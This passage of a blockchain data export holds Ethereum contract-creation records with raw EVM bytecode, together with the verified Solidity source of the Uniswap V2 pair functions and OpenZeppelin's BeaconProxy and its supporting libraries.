if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,502,226 |
b25af057a1b3391ca99af3e8385e3c14099fe4f3cafad5064237a61c1d5a8f10
|
a87cbd7eb3bbfec48eb58bfbc6e803167f9462adc926f6af07e6200575bbe2a8
|
1261e216797fa8934ccc0f04c7c89c8aec8ae6ff
|
25faec14994eca2d3c8046b8c5f774ccd494bb3d
|
bba0f2697bd46d619417be71f49ba7a6cc5dc999
|
604080600a3d393df3fe73dde61a13e05633d6244497411ecd3a496baedfcd3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3
|
73dde61a13e05633d6244497411ecd3a496baedfcd3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3
| |
1 | 19,502,226 |
b25af057a1b3391ca99af3e8385e3c14099fe4f3cafad5064237a61c1d5a8f10
|
dc9e4215b07a92e105a7c5e78be4e44e15ae849c30b3b243b0bb4f34f32b6d58
|
acb68a55170932378619120be4c33b196ae5e868
|
91e677b07f7af907ec9a428aafa9fc14a0d3a338
|
f3b18b883d079ec1df7c31b132d4c70c0410a3fd
|
608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005a2a4f2f3c18f09179b6703e63d9edd16590907300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000
|
60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033
|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
// import "../beacon/IBeacon.sol";
// import "../../interfaces/draft-IERC1822.sol";
// import "../../utils/Address.sol";
// import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overridden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
*
* Furthermore, `isContract` will also return true if the target contract within
* the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
* which only has an effect at the end of a transaction.
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```solidity
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._
* _Available since v4.9 for `string`, `bytes`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` with member `value` located at `slot`.
*/
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` representation of the string storage pointer `store`.
*/
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
/**
* @dev Returns an `BytesSlot` with member `value` located at `slot`.
*/
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
*/
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/beacon/BeaconProxy.sol)
pragma solidity ^0.8.0;
// import "./IBeacon.sol";
// import "../Proxy.sol";
// import "../ERC1967/ERC1967Upgrade.sol";
/**
* @dev This contract implements a proxy that gets the implementation address for each call from an {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) payable {
_upgradeBeaconToAndCall(beacon, data, false);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address) {
return _getBeacon();
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_getBeacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
_upgradeBeaconToAndCall(beacon, data, false);
}
}
|
1 | 19,502,233 |
86e872fd2b30f2f95f3875b9befbbd60a9827d552f39f589c4ba0d56d91a8303
|
cbe5c49ea05d93f1b5ec694819155fbe5ec34b5c29e99bec0a8253b364a8d576
|
00231f2b80771f08049c5c1c3139ee378d4705cd
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
5c0298af440b88a264dfeee2331c441136cb82db
|
